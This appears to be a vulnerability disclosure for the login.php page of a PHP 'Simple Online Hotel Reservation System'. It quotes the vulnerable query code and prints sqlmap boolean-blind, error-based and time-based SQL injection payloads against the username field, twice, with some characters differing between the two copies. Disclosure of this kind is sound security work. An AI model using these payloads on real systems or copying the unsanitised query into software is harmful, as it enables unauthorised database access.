

Simple Online Hotel Reservation System login.php has Sqlinjection

Simple Online Hotel Reservation System login.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

```

?php
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $query = $conn->query("SELECT * FROM `admin` WHERE `username` = '$username' && `password` = '$password'") or die(mysqli_error());
    $fetch = $query->fetch_array();
    $row = $query->num_rows;

    if($row > 0){
        session_start();
        $_SESSION['admin_id'] = $fetch['admin_id'];
        header('location:home.php');
    }else{
        echo "<center><labe style = 'color:red;'>Invalid username or password</label></center>";
    }
}
?

```

```

Sqlmap identified the following injection point(s) with a total of 619 HTTP(s) requests:
-
Parameter: username (POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: username=admin AND 7481=7481 AND 'pWN' = pWN#password=admin&login=

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: username=admin' AND (SELECT 5649 FROM (SELECT COUNT(*) ,CONCAT(0x717178ea71,(SELECT (ELT(5649=5649,1))) ,0x716a787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'inPv' = inPv#password=admin&login=

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: username=admin' AND (SELECT 4342 FROM (SELECT(SLEEP(5)))RqYH) AND 'itIJ' = itIJ#password=admin&login=

```

SqlMap Attack

Parameter: username (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: username=admin' AND 7481=7481 AND
'pWNM'='pWNM&password=admin&login=

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: username=admin' AND (SELECT 5649 FROM(SELECT COUNT(*),CONCAT(0x7171786a71,(SELECT (ELT(5649=5649,1))),0x716a787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'inPV'='inPV&password=admin&login=

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: username=admin' AND (SELECT 4342 FROM (SELECT(SLEEP(5)))RqYH) AND
'itTJ'='itTJ&password=admin&login=
